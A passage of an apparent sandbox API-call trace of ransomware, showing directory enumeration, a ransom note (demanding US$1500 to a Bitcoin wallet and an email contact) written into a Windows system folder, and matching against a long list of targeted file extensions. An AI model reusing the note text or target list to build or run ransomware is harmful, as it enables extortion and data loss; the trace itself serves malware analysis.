(pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\*.*") returned="*.*" [0103.423] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\", lpString2="0a5d39e601d2512b483a56408c3cec05" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05" [0103.423] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05") returned 100 [0103.423] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d5e7ea7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d5e7ea7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d5e7ea7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.424] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.424] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d5e7ea7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d5e7ea7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d5e7ea7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.424] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.424] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.424] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d59bbe6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d59bbe6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d59bbe6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.424] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.424] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll") returned -1 [0103.424] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll") returned -1 [0103.424] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll") returned -1 [0103.424] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\*.*") returned="*.*" [0103.424] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\" [0103.424] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\") returned="" [0103.424] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\HOW TO DECRYPT FILES.txt" [0103.424] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\0a5d39e601d2512b483a56408c3cec05\\how to decrypt files.txt")) returned 0xffffffff [0103.424] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\0a5d39e601d2512b483a56408c3cec05\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.430] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.430] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.431] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.431] CloseHandle (hObject=0x90) returned 1 [0103.431] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll" [0103.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ems") returned 0 [0103.432] lstrlenA (lpString="*.ems") returned 5 [0103.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.db") returned 0 [0103.432] lstrlenA (lpString="*.db") returned 4 [0103.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dbf") returned 0 [0103.432] lstrlenA (lpString="*.dbf") returned 5 [0103.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.myox") returned 0 [0103.432] lstrlenA (lpString="*.myox") returned 6 [0103.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.myo") returned 0 [0103.432] lstrlenA (lpString="*.myo") returned 5 [0103.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbw") returned 0 [0103.432] lstrlenA (lpString="*.qbw") returned 5 [0103.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbb") returned 0 [0103.432] lstrlenA (lpString="*.qbb") returned 5 [0103.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbm") returned 0 [0103.432] lstrlenA (lpString="*.qbm") returned 5 [0103.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbo") returned 0 [0103.432] lstrlenA (lpString="*.qbo") returned 5 [0103.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbx") returned 0 [0103.432] lstrlenA (lpString="*.qbx") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qba") returned 0 [0103.433] lstrlenA (lpString="*.qba") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qby") returned 0 [0103.433] lstrlenA (lpString="*.qby") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbj") returned 0 [0103.433] lstrlenA (lpString="*.qbj") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ofx") returned 0 [0103.433] lstrlenA (lpString="*.ofx") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qif") returned 0 [0103.433] lstrlenA (lpString="*.qif") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mye") returned 0 [0103.433] lstrlenA (lpString="*.mye") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mbox") returned 0 [0103.433] lstrlenA (lpString="*.mbox") returned 6 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.eml") returned 0 [0103.433] lstrlenA (lpString="*.eml") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pst") returned 0 [0103.433] lstrlenA (lpString="*.pst") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ost") returned 0 [0103.433] lstrlenA (lpString="*.ost") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.idx") returned 0 [0103.433] lstrlenA (lpString="*.idx") returned 5 [0103.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dbx") returned 0 [0103.434] lstrlenA (lpString="*.dbx") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.sql") returned 0 [0103.434] lstrlenA (lpString="*.sql") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mdb") returned 0 [0103.434] lstrlenA (lpString="*.mdb") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.fdb") returned 0 [0103.434] lstrlenA (lpString="*.fdb") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.wab") returned 0 [0103.434] lstrlenA (lpString="*.wab") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dat") returned 0 [0103.434] lstrlenA (lpString="*.dat") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.txt") returned 0 [0103.434] lstrlenA (lpString="*.txt") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.jpeg") returned 0 [0103.434] lstrlenA (lpString="*.jpeg") returned 6 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.jpg") returned 0 [0103.434] lstrlenA (lpString="*.jpg") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.png") returned 0 [0103.434] lstrlenA (lpString="*.png") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.php") returned 0 [0103.434] lstrlenA (lpString="*.php") returned 5 [0103.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.cs") returned 0 [0103.435] lstrlenA (lpString="*.cs") returned 4 [0103.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.cpp") returned 0 [0103.435] lstrlenA (lpString="*.cpp") returned 5 [0103.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.rar") returned 0 [0103.435] lstrlenA (lpString="*.rar") returned 5 [0103.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.zip") returned 0 [0103.435] lstrlenA (lpString="*.zip") returned 5 [0103.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.html") returned 0 [0103.435] lstrlenA (lpString="*.html") returned 6 [0103.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.htm") returned 0 [0103.435] lstrlenA (lpString="*.htm") returned 5 [0103.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.xlsx") returned 0 [0103.435] lstrlenA (lpString="*.xlsx") returned 6 [0103.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.xls") returned 0 [0103.435] lstrlenA (lpString="*.xls") returned 5 [0103.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mp4") returned 0 [0103.435] lstrlenA (lpString="*.mp4") returned 5 [0103.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ppt") returned 0 [0103.436] lstrlenA (lpString="*.ppt") returned 5 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pptx") returned 0 [0103.436] lstrlenA (lpString="*.pptx") returned 6 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.doc") returned 0 [0103.436] lstrlenA (lpString="*.doc") returned 5 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dot") returned 0 [0103.436] lstrlenA (lpString="*.dot") returned 5 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.docx") returned 0 [0103.436] lstrlenA (lpString="*.docx") returned 6 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.7z") returned 0 [0103.436] lstrlenA (lpString="*.7z") returned 4 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.tar") returned 0 [0103.436] lstrlenA (lpString="*.tar") returned 5 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.bz2") returned 0 [0103.436] lstrlenA (lpString="*.bz2") returned 5 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.gz") returned 0 [0103.436] lstrlenA (lpString="*.gz") returned 4 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mkv") returned 0 [0103.436] lstrlenA (lpString="*.mkv") returned 5 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.eml") returned 0 [0103.436] lstrlenA (lpString="*.eml") returned 5 [0103.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.msg") returned 0 [0103.437] lstrlenA (lpString="*.msg") returned 5 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.edb") returned 0 [0103.437] lstrlenA (lpString="*.edb") returned 5 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.accdb") returned 0 [0103.437] lstrlenA (lpString="*.accdb") returned 7 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.odb") returned 0 [0103.437] lstrlenA (lpString="*.odb") returned 5 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.java") returned 0 [0103.437] lstrlenA (lpString="*.java") returned 6 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.asm") returned 0 [0103.437] lstrlenA (lpString="*.asm") returned 5 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pfx") returned 0 [0103.437] lstrlenA (lpString="*.pfx") returned 5 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pem") returned 0 [0103.437] lstrlenA (lpString="*.pem") returned 5 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.p12") returned 0 [0103.437] lstrlenA (lpString="*.p12") returned 5 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.gpg") returned 0 [0103.437] lstrlenA (lpString="*.gpg") returned 5 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.vsd") returned 0 [0103.437] lstrlenA (lpString="*.vsd") returned 5 [0103.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.odg") returned 0 [0103.438] lstrlenA (lpString="*.odg") returned 5 [0103.438] PathMatchSpecA 